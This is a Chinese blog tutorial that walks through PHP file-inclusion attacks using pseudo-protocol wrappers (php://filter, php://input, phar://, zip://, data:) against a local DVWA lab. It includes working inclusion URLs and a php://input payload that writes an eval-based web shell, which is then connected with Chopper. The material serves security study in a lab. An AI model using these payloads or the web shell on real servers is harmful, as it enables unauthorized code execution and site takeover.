php伪协议(文件包含)

php支持多种封装协议
一.实验环境
dvwa平台low级别,phpstudy中设置为5.4.45版本
*将php.ini中的allow_url_fopen和allow_url_include都改为On
需要四个文件:
1.index.php(默认有,在phpStudy\PHPTutorial\WWW\DVWA-master\vulnerabilities\fi目录下)
在这里插入图片描述
2.index.php同级目录下创建1.txt文件
在这里插入图片描述
3.创建2.txt文件
在这里插入图片描述
4.创建3.txt并且解压为3.zip
在这里插入图片描述
再说明一下,include()函数对文件后缀名无要求,而对其中的语法有要求,即使后缀名为txt,jpg也会被当做php文件解析,只要文件内是<?php ?>形式就可以执行,但是如果不是php语法的形式,即使后缀为php,也无法执行。
二.演示
1.php://访问输入输出流,有两个常用的子协议
(1)php://filter设计用来过滤筛选文件
用法:非php语法文件include失败,直接输出源码内容
命令:php://filter/resource=1.txt
在这里插入图片描述
用法:php语法文件include成功,直接运行
命令:php://filter/resource=2.txt
在这里插入图片描述
如果想要读取运行php文件的源码,可以先base64编码,再传入include函数,这样就不会被认为是php文件,不会执行,会输出文件的base64编码,再解码即可。
在这里插入图片描述
若采用rot13编码,对php文件中的<?是无效的,仍会被认为是php文件去执行,但其中的内容是乱码的,是没有输出效果的。 (2)php://input 这个协议的利用方法是 将要执行的语法php代码写在post中提交,不用键与值的形式,只写代码即可。 命令:php://input(get中) <?php phpinfo();?>(post中)
在这里插入图片描述
在这里插入图片描述
这里我们用input协议将shell写入网站目录下
首先该目录下没有shell.php
在这里插入图片描述
然后写入
命令:php://input(get中)

<?php fputs(fopen('E:\phpStudy\PHPTutorial\WWW\DVWA-master\vulnerabilities\fi\shell.php','w'),'<?php @eval($_POST[shell]);?>')?>(post中)

在这里插入图片描述
查看目录成功生成
在这里插入图片描述
访问网址,菜刀进行连接
在这里插入图片描述
在这里插入图片描述
成功
2.file:// 与php:filter类似,访问本地文件,但是只能传入绝对路径
命令:file://E:/phpStudy/PHPTutorial/WWW/DVWA-master/vulnerabilities/fi/2.txt
在这里插入图片描述
3.Phar://可以查找指定压缩包内的文件
(1)传入绝对路径
命令:
http://127.0.0.1:81/DVWA-master/vulnerabilities/fi/?page=phar://E:/phpStudy/PHPTutorial/WWW/DVWA-master/vulnerabilities/fi/3.zip/3.txt
在这里插入图片描述
(2)传入相对路径(同级目录下的文件开始)
命令:http://127.0.0.1:81/DVWA-master/vulnerabilities/fi/?page=phar://3.zip/3.txt
在这里插入图片描述
4.zip://用法与phar类似,不过要注意两点
(1)只能传入绝对路径
(2)要用#分隔压缩包和压缩包内的内容,并且#要用url编码%23
命令:
http://127.0.0.1:81/DVWA-master/vulnerabilities/fi/?page=zip://E:/phpStudy/PHPTutorial/WWW/DVWA-master/vulnerabilities/fi/3.zip%233.txt
在这里插入图片描述
5.data与input类似,都是用户可以控制传入的php代码
data:text/plain,<?php 执行内容 ?>
(1)data:text/plain,<?php%20echo%20%27success%27%20?>
在这里插入图片描述
(2)使用base64编码
data:text/plain;(注意分号不是逗号,与前面不同)base64,编码后的php代码
实验不成功…
附一张别人的成功图:
在这里插入图片描述

6.http协议
include中也可以传入外部链接,采用http://,具体怎么利用以后再来填坑。
命令:?page=http://www.baidu.com
在这里插入图片描述
一张图总结:
在这里插入图片描述

  • 6
    点赞
  • 18
    收藏
    觉得还不错? 一键收藏
  • 15
    评论
伪协议filter是一种用于文件包含伪协议。它不受allow_url_fopen和allow_url_include参数的影响,可以用来读取本地文件系统或访问HTTP、FTP等协议的URL。 在PHP,可以使用php://filter伪协议来读取文件内容并对其进行处理。例如,使用php://filter/resource=来读取文件内容,php://filter/read=convert.base64-encode/resource=可以将文件内容以base64编码输出。 通过使用filter伪协议,攻击者可以利用文件包含漏洞来读取敏感文件,包括PHP源代码、配置文件等。因此,在编写PHP代码时,务必要注意对用户输入进行严格过滤和验证,避免文件包含漏洞的利用。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *3* [文件包含-伪协议](https://blog.csdn.net/Wu000999/article/details/101925271)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] - *2* [CTF---Web---文件包含---02---rot13伪协议](https://blog.csdn.net/qq_22160557/article/details/119174803)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]
评论 15
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值